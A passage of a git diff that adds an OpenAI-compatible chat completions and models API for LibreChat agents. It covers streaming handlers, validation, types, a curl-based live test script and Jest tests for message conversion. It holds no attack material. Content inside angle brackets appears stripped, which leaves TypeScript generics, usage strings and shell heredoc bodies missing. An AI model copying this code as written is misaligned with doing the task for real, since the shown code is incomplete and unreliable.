}): void { + // Run step events are primarily for LibreChat UI, we use deltas for streaming + // This handler is a no-op for OpenAI format + if (data?.stepDetails?.type === StepTypes.TOOL_CALLS) { + // Tool calls will be streamed via delta events + } + } +} + +/** + * Handler for model end events - captures usage + */ +export class OpenAIModelEndHandler implements EventHandler { + constructor(private config: OpenAIStreamHandlerConfig) {} + + handle(_event: string, data: ModelEndData): void { + const usage = data?.output?.usage_metadata; + if (!usage) { + return; + } + + this.config.tracker.usage.promptTokens += usage.input_tokens ?? 0; + this.config.tracker.usage.completionTokens += usage.output_tokens ?? 0; + } +} + +/** + * Handler for chat model stream events + */ +export class OpenAIChatModelStreamHandler implements EventHandler { + handle(): void { + // Handled by message delta handler + } +} + +/** + * Handler for tool end events + */ +export class OpenAIToolEndHandler implements EventHandler { + handle(): void { + // Tool results don't need to be streamed in OpenAI format + // They're used internally by the agent + } +} + +/** + * Handler for reasoning delta events. + * Streams reasoning/thinking content using the `delta.reasoning` field (OpenRouter convention). + */ +export class OpenAIReasoningDeltaHandler implements EventHandler { + constructor(private config: OpenAIStreamHandlerConfig) {} + + handle(_event: string, data: MessageDeltaData): void { + const content = data?.content; + if (!content || !Array.isArray(content)) { + return; + } + + for (const part of content) { + if (part.type === 'text' && part.text) { + // Mark that reasoning was emitted + this.config.tracker.addReasoning(); + + // Stream as delta.reasoning (OpenRouter convention) + const chunk = createChunk(this.config.context, { reasoning: part.text }); + writeSSE(this.config.res, chunk); + } + } + } +} + +/** + * Create all handlers for OpenAI streaming format + */ +export function createOpenAIHandlers( + config: OpenAIStreamHandlerConfig, + toolExecuteOptions?: ToolExecuteOptions, +): Record { + const handlers: Record = { + [GraphEvents.ON_MESSAGE_DELTA]: new OpenAIMessageDeltaHandler(config), + [GraphEvents.ON_RUN_STEP_DELTA]: new OpenAIRunStepDeltaHandler(config), + [GraphEvents.ON_RUN_STEP]: new OpenAIRunStepHandler(config), + [GraphEvents.ON_RUN_STEP_COMPLETED]: new OpenAIRunStepHandler(config), + [GraphEvents.CHAT_MODEL_END]: new OpenAIModelEndHandler(config), + [GraphEvents.CHAT_MODEL_STREAM]: new OpenAIChatModelStreamHandler(), + [GraphEvents.TOOL_END]: new OpenAIToolEndHandler(), + [GraphEvents.ON_REASONING_DELTA]: new OpenAIReasoningDeltaHandler(config), + }; + + if (toolExecuteOptions) { + handlers[GraphEvents.ON_TOOL_EXECUTE] = createToolExecuteHandler(toolExecuteOptions); + } + + return handlers; +} + +/** + * Send the final chunk with finish_reason and optional usage + */ +export function sendFinalChunk( + config: OpenAIStreamHandlerConfig, + finishReason: ChatCompletionChunkChoice['finish_reason'] = 'stop', +): void { + const { res, context, tracker } = config; + + // Determine finish reason based on content + let reason = finishReason; + if (tracker.toolCalls.size > 0 && !tracker.hasText) { + reason = 'tool_calls'; + } + + // Build usage object with reasoning token details (OpenRouter/OpenAI convention) + const usage: CompletionUsage = { + prompt_tokens: tracker.usage.promptTokens, + completion_tokens: tracker.usage.completionTokens, + total_tokens: tracker.usage.promptTokens + tracker.usage.completionTokens, + }; + + // Add reasoning token breakdown if there are reasoning tokens + if (tracker.usage.reasoningTokens > 0) { + usage.completion_tokens_details = { + reasoning_tokens: tracker.usage.reasoningTokens, + }; + } + + const finalChunk = createChunk(context, {}, reason, usage); + writeSSE(res, finalChunk); + + // Send [DONE] marker + writeSSE(res, '[DONE]'); +} diff --git a/packages/api/src/agents/openai/index.ts b/packages/api/src/agents/openai/index.ts new file mode 100644 index 0000000000..3a0a016108 --- /dev/null +++ b/packages/api/src/agents/openai/index.ts @@ -0,0 +1,52 @@ +/** + * OpenAI-compatible API for LibreChat agents. + * + * This module provides an OpenAI v1/chat/completions compatible interface + * for interacting with LibreChat agents remotely via API. + * + * @example + * ```typescript + * import { createAgentChatCompletion, listAgentModels } from '@librechat/api'; + * + * // POST /v1/chat/completions + * app.post('/v1/chat/completions', async (req, res) => { + * await createAgentChatCompletion(req, res, dependencies); + * }); + * + * // GET /v1/models + * app.get('/v1/models', async (req, res) => { + * await listAgentModels(req, res, { getAgents }); + * }); + * ``` + * + * Request format: + * ```json + * { + * "model": "agent_id_here", + * "messages": [ + * {"role": "user", "content": "Hello!"} + * ], + * "stream": true + * } + * ``` + * + * The "model" parameter should be the agent ID you want to invoke. + * Use the /v1/models endpoint to list available agents. + */ + +export * from './types'; +export * from './handlers'; +export { + createAgentChatCompletion, + listAgentModels, + convertMessages, + validateRequest, + isChatCompletionValidationFailure, + createErrorResponse, + sendErrorResponse, + buildNonStreamingResponse, + type ChatCompletionDependencies, + type ChatCompletionValidationResult, + type ChatCompletionValidationSuccess, + type ChatCompletionValidationFailure, +} from './service'; diff --git a/packages/api/src/agents/openai/service.ts b/packages/api/src/agents/openai/service.ts new file mode 100644 index 0000000000..807ce8db71 --- /dev/null +++ b/packages/api/src/agents/openai/service.ts @@ -0,0 +1,560 @@ +/** + * OpenAI-compatible chat completions service for agents. + * + * This service provides an OpenAI v1/chat/completions compatible API for + * interacting with LibreChat agents. The agent_id is passed as the "model" + * parameter per OpenAI spec. + * + * Usage: + * ```typescript + * import { createAgentChatCompletion } from '@librechat/api'; + * + * // In your Express route handler: + * app.post('/v1/chat/completions', async (req, res) => { + * await createAgentChatCompletion(req, res, { + * getAgent: db.getAgent, + * // ... other dependencies + * }); + * }); + * ``` + */ +import { nanoid } from 'nanoid'; +import type { Response as ServerResponse, Request } from 'express'; +import type { + ChatCompletionResponse, + OpenAIResponseContext, + ChatCompletionRequest, + OpenAIErrorResponse, + CompletionUsage, + ChatMessage, + ToolCall, +} from './types'; +import type { OpenAIStreamHandlerConfig, EventHandler } from './handlers'; +import { + createOpenAIContentAggregator, + createOpenAIStreamTracker, + createOpenAIHandlers, + sendFinalChunk, + createChunk, + writeSSE, +} from './handlers'; +import type { ToolExecuteOptions } from '../handlers'; + +/** + * Dependencies for the chat completion service + */ +export interface ChatCompletionDependencies { + /** Get agent by ID */ + getAgent: (params: { id: string }) => Promise; + /** Initialize agent for use */ + initializeAgent: (params: InitializeAgentParams) => Promise; + /** Load agent tools */ + loadAgentTools?: LoadToolsFn; + /** Get models config */ + getModelsConfig?: (req: Request) => Promise; + /** Validate agent model */ + validateAgentModel?: ( + params: unknown, + ) => Promise<{ isValid: boolean; error?: { message: string } }>; + /** Log violation */ + logViolation?: ( + req: Request, + res: ServerResponse, + type: string, + info: unknown, + score: number, + ) => Promise; + /** Create agent run */ + createRun?: CreateRunFn; + /** App config */ + appConfig?: AppConfig; + /** Tool execute options for event-driven tool execution */ + toolExecuteOptions?: ToolExecuteOptions; +} + +/** + * Agent type from librechat-data-provider + */ +interface Agent { + id: string; + name?: string; + model?: string; + provider: string; + tools?: string[]; + instructions?: string; + model_parameters?: Record; + tool_resources?: Record; + tool_options?: Record; + [key: string]: unknown; +} + +/** + * Initialized agent type - note: after initialization, tools become structured tool objects + */ +interface InitializedAgent { + id: string; + name?: string; + model?: string; + provider: string; + /** After initialization, tools are structured tool objects, not strings */ + tools: unknown[]; + instructions?: string; + model_parameters?: Record; + tool_resources?: Record; + tool_options?: Record; + attachments: unknown[]; + toolContextMap: Record; + maxContextTokens: number; + userMCPAuthMap?: Record>; + [key: string]: unknown; +} + +/** + * Initialize agent params + */ +interface InitializeAgentParams { + req: Request; + res: ServerResponse; + agent: Agent; + conversationId?: string | null; + parentMessageId?: string | null; + requestFiles?: unknown[]; + loadTools?: LoadToolsFn; + endpointOption?: Record; + allowedProviders: Set; + isInitialAgent?: boolean; +} + +/** + * Tool loading function type + */ +type LoadToolsFn = (params: { + req: Request; + res: ServerResponse; + provider: string; + agentId: string; + tools: string[]; + model: string | null; + tool_options: unknown; + tool_resources: unknown; +}) => Promise<{ + tools: unknown[]; + toolContextMap: Record; + userMCPAuthMap?: Record>; +} | null>; + +/** + * Create run function type + */ +type CreateRunFn = (params: { + agents: unknown[]; + messages: unknown[]; + runId: string; + signal: AbortSignal; + customHandlers: Record; + requestBody: Record; + user: Record; + tokenCounter?: (message: unknown) => number; +}) => Promise<{ + Graph?: unknown; + processStream: ( + input: { messages: unknown[] }, + config: Record, + options: Record, + ) => Promise; +} | null>; + +/** + * App config type + */ +interface AppConfig { + endpoints?: Record; + [key: string]: unknown; +} + +/** + * Convert OpenAI messages to LibreChat format + */ +export function convertMessages(messages: ChatMessage[]): unknown[] { + return messages.map((msg) => { + let content: string | unknown[]; + if (typeof msg.content === 'string') { + content = msg.content; + } else if (msg.content) { + content = msg.content.map((part) => { + if (part.type === 'text') { + return { type: 'text', text: part.text }; + } + if (part.type === 'image_url') { + return { type: 'image_url', image_url: part.image_url }; + } + return part; + }); + } else { + content = ''; + } + + return { + role: msg.role, + content, + ...(msg.name && { name: msg.name }), + ...(msg.tool_calls && { tool_calls: msg.tool_calls }), + ...(msg.tool_call_id && { tool_call_id: msg.tool_call_id }), + }; + }); +} + +/** + * Create an error response in OpenAI format + */ +export function createErrorResponse( + message: string, + type = 'invalid_request_error', + code: string | null = null, +): OpenAIErrorResponse { + return { + error: { + message, + type, + param: null, + code, + }, + }; +} + +/** + * Send an error response + */ +export function sendErrorResponse( + res: ServerResponse, + statusCode: number, + message: string, + type = 'invalid_request_error', + code: string | null = null, +): void { + res.status(statusCode).json(createErrorResponse(message, type, code)); +} + +/** + * Validation result types for chat completion requests + */ +export type ChatCompletionValidationSuccess = { valid: true; request: ChatCompletionRequest }; +export type ChatCompletionValidationFailure = { valid: false; error: string }; +export type ChatCompletionValidationResult = + | ChatCompletionValidationSuccess + | ChatCompletionValidationFailure; + +/** + * Type guard for validation failure + */ +export function isChatCompletionValidationFailure( + result: ChatCompletionValidationResult, +): result is ChatCompletionValidationFailure { + return !result.valid; +} + +/** + * Validate the chat completion request + */ +export function validateRequest(body: unknown): ChatCompletionValidationResult { + if (!body || typeof body !== 'object') { + return { valid: false, error: 'Request body is required' }; + } + + const request = body as Record; + + if (!request.model || typeof request.model !== 'string') { + return { valid: false, error: 'model (agent_id) is required' }; + } + + if (!request.messages || !Array.isArray(request.messages)) { + return { valid: false, error: 'messages array is required' }; + } + + if (request.messages.length === 0) { + return { valid: false, error: 'messages array cannot be empty' }; + } + + // Validate each message has role and content + for (let i = 0; i < request.messages.length; i++) { + const msg = request.messages[i] as Record; + if (!msg.role || typeof msg.role !== 'string') { + return { valid: false, error: `messages[${i}].role is required` }; + } + if (!['system', 'user', 'assistant', 'tool'].includes(msg.role)) { + return { + valid: false, + error: `messages[${i}].role must be one of: system, user, assistant, tool`, + }; + } + } + + return { valid: true, request: request as unknown as ChatCompletionRequest }; +} + +/** + * Build a non-streaming response from aggregated content + */ +export function buildNonStreamingResponse( + context: OpenAIResponseContext, + text: string, + reasoning: string, + toolCalls: Map, + usage: CompletionUsage, +): ChatCompletionResponse { + const toolCallsArray = Array.from(toolCalls.values()); + const finishReason = toolCallsArray.length > 0 && !text ? 'tool_calls' : 'stop'; + + return { + id: context.requestId, + object: 'chat.completion', + created: context.created, + model: context.model, + choices: [ + { + index: 0, + message: { + role: 'assistant', + content: text || null, + ...(reasoning && { reasoning }), + ...(toolCallsArray.length > 0 && { tool_calls: toolCallsArray }), + }, + finish_reason: finishReason, + }, + ], + usage, + }; +} + +/** + * Main handler for OpenAI-compatible chat completions with agents. + * + * This function: + * 1. Validates the request + * 2. Looks up the agent by ID (model parameter) + * 3. Initializes the agent with tools + * 4. Runs the agent and streams/returns the response + * + * @param req - Express request object + * @param res - Express response object + * @param deps - Dependencies for the service + */ +export async function createAgentChatCompletion( + req: Request, + res: ServerResponse, + deps: ChatCompletionDependencies, +): Promise { + // Validate request + const validation = validateRequest(req.body); + if (isChatCompletionValidationFailure(validation)) { + sendErrorResponse(res, 400, validation.error); + return; + } + + const request = validation.request; + const agentId = request.model; + const requestedStreaming = request.stream === true; + + // Look up the agent + const agent = await deps.getAgent({ id: agentId }); + if (!agent) { + sendErrorResponse( + res, + 404, + `Agent not found: ${agentId}`, + 'invalid_request_error', + 'model_not_found', + ); + return; + } + + // Generate IDs + const requestId = `chatcmpl-${nanoid()}`; + const conversationId = request.conversation_id ?? nanoid(); + const created = Math.floor(Date.now() / 1000); + + // Build response context + const context: OpenAIResponseContext = { + created, + requestId, + model: agentId, + }; + + // Set up abort controller + const abortController = new AbortController(); + + // Handle client disconnect + req.on('close', () => { + abortController.abort(); + }); + + try { + // Build allowed providers set (empty = all allowed) + const allowedProviders = new Set(); + + // Initialize the agent first to check for disableStreaming + const initializedAgent = await deps.initializeAgent({ + req, + res, + agent, + conversationId, + parentMessageId: request.parent_message_id, + loadTools: deps.loadAgentTools, + endpointOption: { + endpoint: agent.provider, + model_parameters: agent.model_parameters ?? {}, + }, + allowedProviders, + isInitialAgent: true, + }); + + // Determine if streaming is enabled (check both request and agent config) + const streamingDisabled = !!(initializedAgent.model_parameters as Record) + ?.disableStreaming; + const isStreaming = requestedStreaming && !streamingDisabled; + + // Create tracker for streaming or aggregator for non-streaming + const tracker = isStreaming ? createOpenAIStreamTracker() : null; + const aggregator = isStreaming ? null : createOpenAIContentAggregator(); + + // Set up response headers for streaming + if (isStreaming) { + res.setHeader('Content-Type', 'text/event-stream'); + res.setHeader('Cache-Control', 'no-cache'); + res.setHeader('Connection', 'keep-alive'); + res.setHeader('X-Accel-Buffering', 'no'); + res.flushHeaders(); + + // Send initial chunk with role + const initialChunk = createChunk(context, { role: 'assistant' }); + writeSSE(res, initialChunk); + } + + // Create handler config (only used for streaming) + const handlerConfig: OpenAIStreamHandlerConfig | null = + isStreaming && tracker + ? { + res, + context, + tracker, + } + : null; + + // Create event handlers + const eventHandlers = + isStreaming && handlerConfig + ? createOpenAIHandlers(handlerConfig, deps.toolExecuteOptions) + : {}; + + // Convert messages to internal format + const messages = convertMessages(request.messages); + + // Create and run the agent + if (deps.createRun) { + const userId = (req as unknown as { user?: { id?: string } }).user?.id ?? 'api-user'; + + const run = await deps.createRun({ + agents: [initializedAgent], + messages, + runId: requestId, + signal: abortController.signal, + customHandlers: eventHandlers, + requestBody: { + messageId: requestId, + conversationId, + }, + user: { id: userId }, + }); + + if (run) { + await run.processStream( + { messages }, + { + runName: 'AgentRun', + configurable: { + thread_id: conversationId, + user_id: userId, + }, + signal: abortController.signal, + streamMode: 'values', + version: 'v2', + }, + {}, + ); + } + } + + // Finalize response + if (isStreaming && handlerConfig) { + sendFinalChunk(handlerConfig); + res.end(); + } else if (aggregator) { + // Build and send non-streaming response + const usage: CompletionUsage = { + prompt_tokens: aggregator.usage.promptTokens, + completion_tokens: aggregator.usage.completionTokens, + total_tokens: aggregator.usage.promptTokens + aggregator.usage.completionTokens, + ...(aggregator.usage.reasoningTokens > 0 && { + completion_tokens_details: { reasoning_tokens: aggregator.usage.reasoningTokens }, + }), + }; + const response = buildNonStreamingResponse( + context, + aggregator.getText(), + aggregator.getReasoning(), + aggregator.toolCalls, + usage, + ); + res.json(response); + } + } catch (error) { + const errorMessage = error instanceof Error ? error.message : 'An error occurred'; + + // Check if we already started streaming (headers sent) + if (res.headersSent) { + // Headers already sent, try to send error in stream format + const errorChunk = createChunk(context, { content: `\n\nError: ${errorMessage}` }, 'stop'); + writeSSE(res, errorChunk); + writeSSE(res, '[DONE]'); + res.end(); + } else { + sendErrorResponse(res, 500, errorMessage, 'server_error'); + } + } +} + +/** + * List available agents/models + * + * This provides a /v1/models compatible endpoint that lists available agents. + */ +export async function listAgentModels( + _req: Request, + res: ServerResponse, + deps: { getAgents: (params: Record) => Promise }, +): Promise { + try { + const agents = await deps.getAgents({}); + + const models = agents.map((agent) => ({ + id: agent.id, + object: 'model', + created: Math.floor(Date.now() / 1000), + owned_by: 'librechat', + permission: [], + root: agent.id, + parent: null, + // Extensions + name: agent.name, + provider: agent.provider, + })); + + res.json({ + object: 'list', + data: models, + }); + } catch (error) { + const errorMessage = error instanceof Error ? error.message : 'Failed to list models'; + sendErrorResponse(res, 500, errorMessage, 'server_error'); + } +} diff --git a/packages/api/src/agents/openai/types.ts b/packages/api/src/agents/openai/types.ts new file mode 100644 index 0000000000..a33d01d085 --- /dev/null +++ b/packages/api/src/agents/openai/types.ts @@ -0,0 +1,194 @@ +/** + * OpenAI-compatible types for the agent chat completions API. + * These types follow the OpenAI API spec for /v1/chat/completions. + * + * Note: This API uses agent_id as the "model" parameter per OpenAI spec. + * In the future, this will be extended to support the Responses API. + */ + +/** + * Content part types for OpenAI format + */ +export interface OpenAITextContentPart { + type: 'text'; + text: string; +} + +export interface OpenAIImageContentPart { + type: 'image_url'; + image_url: { + url: string; + detail?: 'auto' | 'low' | 'high'; + }; +} + +export type OpenAIContentPart = OpenAITextContentPart | OpenAIImageContentPart; + +/** + * Tool call in OpenAI format + */ +export interface ToolCall { + id: string; + type: 'function'; + function: { + name: string; + arguments: string; + }; +} + +/** + * OpenAI chat message format + */ +export interface ChatMessage { + role: 'system' | 'user' | 'assistant' | 'tool'; + content: string | OpenAIContentPart[] | null; + name?: string; + tool_calls?: ToolCall[]; + tool_call_id?: string; +} + +/** + * OpenAI chat completion request + */ +export interface ChatCompletionRequest { + /** Agent ID to invoke (maps to model in OpenAI spec) */ + model: string; + /** Conversation messages */ + messages: ChatMessage[]; + /** Whether to stream the response */ + stream?: boolean; + /** Maximum tokens to generate */ + max_tokens?: number; + /** Temperature for sampling */ + temperature?: number; + /** Top-p sampling */ + top_p?: number; + /** Frequency penalty */ + frequency_penalty?: number; + /** Presence penalty */ + presence_penalty?: number; + /** Stop sequences */ + stop?: string | string[]; + /** User identifier */ + user?: string; + /** Conversation ID (LibreChat extension) */ + conversation_id?: string; + /** Parent message ID (LibreChat extension) */ + parent_message_id?: string; +} + +/** + * Token usage information + */ +export interface CompletionUsage { + prompt_tokens: number; + completion_tokens: number; + total_tokens: number; + /** Detailed breakdown of output tokens (OpenRouter/OpenAI convention) */ + completion_tokens_details?: { + reasoning_tokens?: number; + }; +} + +/** + * Non-streaming choice + */ +export interface ChatCompletionChoice { + index: number; + message: { + role: 'assistant'; + content: string | null; + /** Reasoning/thinking content (OpenRouter convention) */ + reasoning?: string | null; + tool_calls?: ToolCall[]; + }; + finish_reason: 'stop' | 'length' | 'tool_calls' | 'content_filter' | null; +} + +/** + * Non-streaming response + */ +export interface ChatCompletionResponse { + id: string; + object: 'chat.completion'; + created: number; + model: string; + choices: ChatCompletionChoice[]; + usage?: CompletionUsage; +} + +/** + * Streaming choice delta + * Note: `reasoning` field follows OpenRouter convention for streaming reasoning/thinking content + */ +export interface ChatCompletionChunkChoice { + index: number; + delta: { + role?: 'assistant'; + content?: string | null; + /** Reasoning/thinking content (OpenRouter convention) */ + reasoning?: string | null; + tool_calls?: Array<{ + index: number; + id?: string; + type?: 'function'; + function?: { + name?: string; + arguments?: string; + }; + }>; + }; + finish_reason: 'stop' | 'length' | 'tool_calls' | 'content_filter' | null; +} + +/** + * Streaming response chunk + */ +export interface ChatCompletionChunk { + id: string; + object: 'chat.completion.chunk'; + created: number; + model: string; + choices: ChatCompletionChunkChoice[]; + /** Final chunk may include usage */ + usage?: CompletionUsage; +} + +/** + * SSE event wrapper for streaming + */ +export interface SSEEvent { + data: ChatCompletionChunk | '[DONE]'; +} + +/** + * Context for building OpenAI responses + */ +export interface OpenAIResponseContext { + /** Request ID for the chat completion */ + requestId: string; + /** Model/agent ID */ + model: string; + /** Created timestamp */ + created: number; +} + +/** + * Aggregated content for building final response + */ +export interface AggregatedContent { + text: string; + toolCalls: ToolCall[]; +} + +/** + * Error response in OpenAI format + */ +export interface OpenAIErrorResponse { + error: { + message: string; + type: string; + param: string | null; + code: string | null; + }; +} diff --git a/packages/api/src/agents/responses/__tests__/responses-api.live.test.sh b/packages/api/src/agents/responses/__tests__/responses-api.live.test.sh new file mode 100755 index 0000000000..657e64c8e5 --- /dev/null +++ b/packages/api/src/agents/responses/__tests__/responses-api.live.test.sh @@ -0,0 +1,193 @@ +#!/usr/bin/env bash +# +# Live integration tests for the Responses API endpoint. +# Sends curl requests to a running LibreChat server to verify +# multi-turn conversations with output_text / refusal blocks work. +# +# Usage: +# ./responses-api.live.test.sh +# +# Example: +# ./responses-api.live.test.sh http://localhost:3080 sk-abc123 agent_xyz + +set -euo pipefail + +BASE_URL="${1:?Usage: $0 }" +API_KEY="${2:?Usage: $0 }" +AGENT_ID="${3:?Usage: $0 }" + +ENDPOINT="${BASE_URL}/v1/responses" +PASS=0 +FAIL=0 + +# ── Helpers ─────────────────────────────────────────────────────────── + +post_json() { + local label="$1" + local body="$2" + local stream="${3:-false}" + + echo "──────────────────────────────────────────────" + echo "TEST: ${label}" + echo "──────────────────────────────────────────────" + + local http_code + local response + + if [ "$stream" = "true" ]; then + # For streaming, just check we get a 200 and some SSE data + response=$(curl -s -w "\n%{http_code}" \ + -X POST "${ENDPOINT}" \ + -H "Content-Type: application/json" \ + -H "Authorization: Bearer ${API_KEY}" \ + -d "${body}" \ + --max-time 60) + else + response=$(curl -s -w "\n%{http_code}" \ + -X POST "${ENDPOINT}" \ + -H "Content-Type: application/json" \ + -H "Authorization: Bearer ${API_KEY}" \ + -d "${body}" \ + --max-time 60) + fi + + http_code=$(echo "$response" | tail -1) + local body_out + body_out=$(echo "$response" | sed '$d') + + if [ "$http_code" = "200" ]; then + echo " ✓ HTTP 200" + PASS=$((PASS + 1)) + else + echo " ✗ HTTP ${http_code}" + echo " Response: ${body_out}" + FAIL=$((FAIL + 1)) + fi + + # Print truncated response for inspection + echo " Response (first 300 chars): ${body_out:0:300}" + echo "" + + # Return the body for chaining + echo "$body_out" +} + +extract_response_id() { + # Extract "id" field from JSON response + echo "$1" | grep -o '"id":"[^"]*"' | head -1 | cut -d'"' -f4 +} + +# ── Test 1: Basic single-turn request ───────────────────────────────── + +RESP1=$(post_json "Basic single-turn request" "$(cat < /dev/null + +# ── Test 3: Multi-turn with refusal blocks ──────────────────────────── + +post_json "Multi-turn with refusal blocks" "$(cat < /dev/null + +# ── Test 4: Streaming request ───────────────────────────────────────── + +post_json "Streaming single-turn request" "$(cat < /dev/null + +# ── Test 5: Back-and-forth using previous_response_id ───────────────── + +RESP5=$(post_json "First turn for previous_response_id chain" "$(cat < /dev/null +else + echo " ⚠ Could not extract response ID, skipping follow-up test" + FAIL=$((FAIL + 1)) +fi + +# ── Summary ─────────────────────────────────────────────────────────── + +echo "══════════════════════════════════════════════" +echo "RESULTS: ${PASS} passed, ${FAIL} failed" +echo "══════════════════════════════════════════════" + +if [ "$FAIL" -gt 0 ]; then + exit 1 +fi diff --git a/packages/api/src/agents/responses/__tests__/service.test.ts b/packages/api/src/agents/responses/__tests__/service.test.ts new file mode 100644 index 0000000000..b9b64d21ee --- /dev/null +++ b/packages/api/src/agents/responses/__tests__/service.test.ts @@ -0,0 +1,333 @@ +import { convertInputToMessages } from '../service'; +import type { InputItem } from '../types'; + +describe('convertInputToMessages', () => { + // ── String input shorthand ───────────────────────────────────────── + it('converts a string input to a single user message', () => { + const result = convertInputToMessages('Hello'); + expect(result).toEqual([{ role: 'user', content: 'Hello' }]); + }); + + // ── Empty input array ────────────────────────────────────────────── + it('returns an empty array for empty input', () => { + const result = convertInputToMessages([]); + expect(result).toEqual([]); + }); + + // ── Role mapping ─────────────────────────────────────────────────── + it('maps developer role to system', () => { + const input: InputItem[] = [ + { type: 'message', role: 'developer', content: 'You are helpful.' }, + ]; + expect(convertInputToMessages(input)).toEqual([ + { role: 'system', content: 'You are helpful.' }, + ]); + }); + + it('maps system role to system', () => { + const input: InputItem[] = [{ type: 'message', role: 'system', content: 'System prompt.' }]; + expect(convertInputToMessages(input)).toEqual([{ role: 'system', content: 'System prompt.' }]); + }); + + it('maps user role to user', () => { + const input: InputItem[] = [{ type: 'message', role: 'user', content: 'Hi' }]; + expect(convertInputToMessages(input)).toEqual([{ role: 'user', content: 'Hi' }]); + }); + + it('maps assistant role to assistant', () => { + const input: InputItem[] = [{ type: 'message', role: 'assistant', content: 'Hello!' }]; + expect(convertInputToMessages(input)).toEqual([{ role: 'assistant', content: 'Hello!' }]); + }); + + it('defaults unknown roles to user', () => { + const input = [ + { type: 'message', role: 'unknown_role', content: 'test' }, + ] as unknown as InputItem[]; + expect(convertInputToMessages(input)[0].role).toBe('user'); + }); + + // ── input_text content blocks ────────────────────────────────────── + it('converts input_text blocks to text blocks', () => { + const input: InputItem[] = [ + { + type: 'message', + role: 'user', + content: [{ type: 'input_text', text: 'Hello world' }], + }, + ]; + const result = convertInputToMessages(input); + expect(result).toEqual([{ role: 'user', content: [{ type: 'text', text: 'Hello world' }] }]); + }); + + // ── output_text content blocks (the original bug) ────────────────── + it('converts output_text blocks to text blocks', () => { + const input: InputItem[] = [ + { + type: 'message', + role: 'assistant', + content: [{ type: 'output_text', text: 'I can help!', annotations: [], logprobs: [] }], + }, + ]; + const result = convertInputToMessages(input); + expect(result).toEqual([ + { role: 'assistant', content: [{ type: 'text', text: 'I can help!' }] }, + ]); + }); + + // ── refusal content blocks ───────────────────────────────────────── + it('converts refusal blocks to text blocks', () => { + const input: InputItem[] = [ + { + type: 'message', + role: 'assistant', + content: [{ type: 'refusal', refusal: 'I cannot do that.' }], + }, + ]; + const result = convertInputToMessages(input); + expect(result).toEqual([ + { role: 'assistant', content: [{ type: 'text', text: 'I cannot do that.' }] }, + ]); + }); + + // ── input_image content blocks ───────────────────────────────────── + it('converts input_image blocks to image_url blocks', () => { + const input: InputItem[] = [ + { + type: 'message', + role: 'user', + content: [ + { type: 'input_image', image_url: 'https://example.com/img.png', detail: 'high' }, + ], + }, + ]; + const result = convertInputToMessages(input); + expect(result).toEqual([ + { + role: 'user', + content: [ + { + type: 'image_url', + image_url: { url: 'https://example.com/img.png', detail: 'high' }, + }, + ], + }, + ]); + }); + + // ── input_file content blocks ────────────────────────────────────── + it('converts input_file blocks to text placeholders', () => { + const input: InputItem[] = [ + { + type: 'message', + role: 'user', + content: [{ type: 'input_file', filename: 'report.pdf', file_id: 'f_123' }], + }, + ]; + const result = convertInputToMessages(input); + expect(result).toEqual([ + { role: 'user', content: [{ type: 'text', text: '[File: report.pdf]' }] }, + ]); + }); + + it('uses "unknown" for input_file without filename', () => { + const input: InputItem[] = [ + { + type: 'message', + role: 'user', + content: [{ type: 'input_file', file_id: 'f_123' }], + }, + ]; + const result = convertInputToMessages(input); + expect(result).toEqual([ + { role: 'user', content: [{ type: 'text', text: '[File: unknown]' }] }, + ]); + }); + + // ── Null / undefined filtering ───────────────────────────────────── + it('filters out null elements in content arrays', () => { + const input = [ + { + type: 'message', + role: 'user', + content: [null, { type: 'input_text', text: 'valid' }, undefined], + }, + ] as unknown as InputItem[]; + const result = convertInputToMessages(input); + expect(result).toEqual([{ role: 'user', content: [{ type: 'text', text: 'valid' }] }]); + }); + + // ── Missing text field defaults to empty string ──────────────────── + it('defaults to empty string when text field is missing on input_text', () => { + const input = [ + { + type: 'message', + role: 'user', + content: [{ type: 'input_text' }], + }, + ] as unknown as InputItem[]; + const result = convertInputToMessages(input); + expect(result).toEqual([{ role: 'user', content: [{ type: 'text', text: '' }] }]); + }); + + it('defaults to empty string when text field is missing on output_text', () => { + const input = [ + { + type: 'message', + role: 'assistant', + content: [{ type: 'output_text' }], + }, + ] as unknown as InputItem[]; + const result = convertInputToMessages(input); + expect(result).toEqual([{ role: 'assistant', content: [{ type: 'text', text: '' }] }]); + }); + + it('defaults to empty string when refusal field is missing on refusal block', () => { + const input = [ + { + type: 'message', + role: 'assistant', + content: [{ type: 'refusal' }], + }, + ] as unknown as InputItem[]; + const result = convertInputToMessages(input); + expect(result).toEqual([{ role: 'assistant', content: [{ type: 'text', text: '' }] }]); + }); + + // ── Unknown block types are filtered out ─────────────────────────── + it('filters out unknown content block types', () => { + const input = [ + { + type: 'message', + role: 'user', + content: [ + { type: 'input_text', text: 'keep me' }, + { type: 'some_future_type', data: 'ignore' }, + ], + }, + ] as unknown as InputItem[]; + const result = convertInputToMessages(input); + expect(result).toEqual([{ role: 'user', content: [{ type: 'text', text: 'keep me' }] }]); + }); + + // ── Mixed valid/invalid content in same array ────────────────────── + it('handles mixed valid and invalid content blocks', () => { + const input = [ + { + type: 'message', + role: 'assistant', + content: [ + { type: 'output_text', text: 'Hello', annotations: [], logprobs: [] }, + null, + { type: 'unknown_type' }, + { type: 'refusal', refusal: 'No can do' }, + ], + }, + ] as unknown as InputItem[]; + const result = convertInputToMessages(input); + expect(result).toEqual([ + { + role: 'assistant', + content: [ + { type: 'text', text: 'Hello' }, + { type: 'text', text: 'No can do' }, + ], + }, + ]); + }); + + // ── Non-array, non-string content defaults to empty string ───────── + it('defaults to empty string for non-array non-string content', () => { + const input = [{ type: 'message', role: 'user', content: 42 }] as unknown as InputItem[]; + const result = convertInputToMessages(input); + expect(result).toEqual([{ role: 'user', content: '' }]); + }); + + // ── Function call items ──────────────────────────────────────────── + it('converts function_call items to assistant messages with tool_calls', () => { + const input: InputItem[] = [ + { + type: 'function_call', + id: 'fc_1', + call_id: 'call_abc', + name: 'get_weather', + arguments: '{"city":"NYC"}', + }, + ]; + const result = convertInputToMessages(input); + expect(result).toEqual([ + { + role: 'assistant', + content: '', + tool_calls: [ + { + id: 'call_abc', + type: 'function', + function: { name: 'get_weather', arguments: '{"city":"NYC"}' }, + }, + ], + }, + ]); + }); + + // ── Function call output items ───────────────────────────────────── + it('converts function_call_output items to tool messages', () => { + const input: InputItem[] = [ + { + type: 'function_call_output', + call_id: 'call_abc', + output: '{"temp":72}', + }, + ]; + const result = convertInputToMessages(input); + expect(result).toEqual([ + { + role: 'tool', + content: '{"temp":72}', + tool_call_id: 'call_abc', + }, + ]); + }); + + // ── Item references are skipped ──────────────────────────────────── + it('skips item_reference items', () => { + const input: InputItem[] = [ + { type: 'item_reference', id: 'ref_123' }, + { type: 'message', role: 'user', content: 'Hello' 